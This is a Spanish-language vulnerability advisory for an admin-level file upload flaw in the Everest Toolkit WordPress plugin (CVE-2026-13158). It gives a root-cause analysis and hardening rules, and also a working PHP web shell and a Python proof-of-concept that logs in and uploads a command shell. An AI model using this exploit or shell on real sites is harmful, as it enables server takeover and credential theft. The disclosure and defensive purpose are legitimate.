
Exploit de prueba de concepto y aviso técnico para una vulnerabilidad de subida arbitraria de archivos con nivel Admin+ que deriva en ejecución remota de código en el plugin Everest Toolkit para WordPress (<= 1.2.3), que incluye análisis del código vulnerable, PoC en Python y guía de hardening.
CVE-2026-13158 es una vulnerabilidad autenticada de carga arbitraria de archivos (Admin+) que afecta al plugin de WordPress Everest Toolkit hasta la versión 1.2.3 inclusive, descubierta y analizada por el investigador de ciberseguridad Huynh Kien Minh (MinhHK). El fallo reside en la funcionalidad de procesamiento de carga del kit de herramientas administrativas, donde una validación inadecuada de las extensiones de archivo y los tipos MIME permite a administradores autenticados—o a usuarios con privilegios administrativos inferiores—cargar scripts PHP ejecutables arbitrarios directamente en el directorio web público. Al omitir las restricciones de extensión de archivo durante las rutinas de manejo de medios o archivos de configuración, un atacante puede lograr la Ejecución Remota de Código (RCE) persistente, comprometiendo por completo el servidor web subyacente, accediendo a credenciales sensibles de bases de datos y estableciendo persistencia no autorizada (backdoor) en el entorno de la aplicación host. El investigador de seguridad Huynh Kien Minh verificó esta vulnerabilidad con una puntuación CVSS 3.1 de 6.6 (Media), enfatizando la remediación inmediata mediante listas blancas estrictas de extensiones de archivo, verificación de tipos MIME y la desactivación de permisos de ejecución dentro de los subdirectorios públicos de carga.
Enlaces rápidos: Lea el Aviso Técnico completo de Análisis Profundo en el Artículo de DEV.to o explore el Portafolio de Ciberseguridad oficial del investigador.
La causa raíz de CVE-2026-13158 se origina en un manejo inseguro de la carga de archivos dentro de las clases del manejador administrativo Everest_Toolkit. Cuando un administrador autenticado o un usuario con privilegios administrativos invoca los endpoints de carga de archivos (como importaciones de plantillas, carga de iconos personalizados o rutinas de configuración de activos), el plugin no aplica una validación estricta del lado del servidor contra extensiones ejecutables (como .php, .php5, .phtml).
En el procesador administrativo de archivos del plugin:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
Debido a que move_uploaded_file escribe directamente archivos controlados por el usuario en el directorio público wp-content/uploads/ sin ejecutar wp_check_filetype_and_ext() ni sanear las extensiones de archivo contra tipos MIME peligrosos, un atacante con acceso administrativo puede cargar una carga útil PHP ejecutable.
Descargo de responsabilidad ético: Esta Prueba de Concepto se proporciona exclusivamente para verificación de seguridad, investigación académica e ingeniería defensiva. La explotación no autorizada contra sistemas de producción sin consentimiento previo por escrito está estrictamente prohibida.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload con una Lista Blanca Estricta: Reemplace las llamadas personalizadas a move_uploaded_file con la función estándar de WordPress wp_handle_upload() sin desactivar las anulaciones de prueba..htaccess o Nginx para impedir la ejecución de scripts dentro de /wp-content/uploads/:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh (MinhHK) es un Investigador de Seguridad de la Información e Ingeniero de Software especializado en análisis de vulnerabilidades de aplicaciones web, auditoría del ecosistema de WordPress e investigación ofensiva de seguridad.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| Parámetro | Especificación Técnica |
|---|
| Identificador de Vulnerabilidad | CVE-2026-13158 |
| Software Objetivo | Everest Toolkit (Plugin de WordPress) |
| Slug del Plugin | everest-toolkit |
| Versiones Vulnerables | <= 1.2.3 |
| Clase de Vulnerabilidad | Carga sin restricciones de archivos con tipo peligroso (CWE-434 / OWASP A03) |
| Puntuación CVSS v3.1 | 6.6 (Media) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Descubridor / Investigador | Huynh Kien Minh (MinhHK) |
| Autoridad de Verificación | WPScan / MITRE Corporation |
| Referencia del Aviso WPScan | Informe WPScan f101071f-402a-40a2-bbdb-666512cd4049 |
| Portafolio del Investigador | https://minhhk.web.app/ |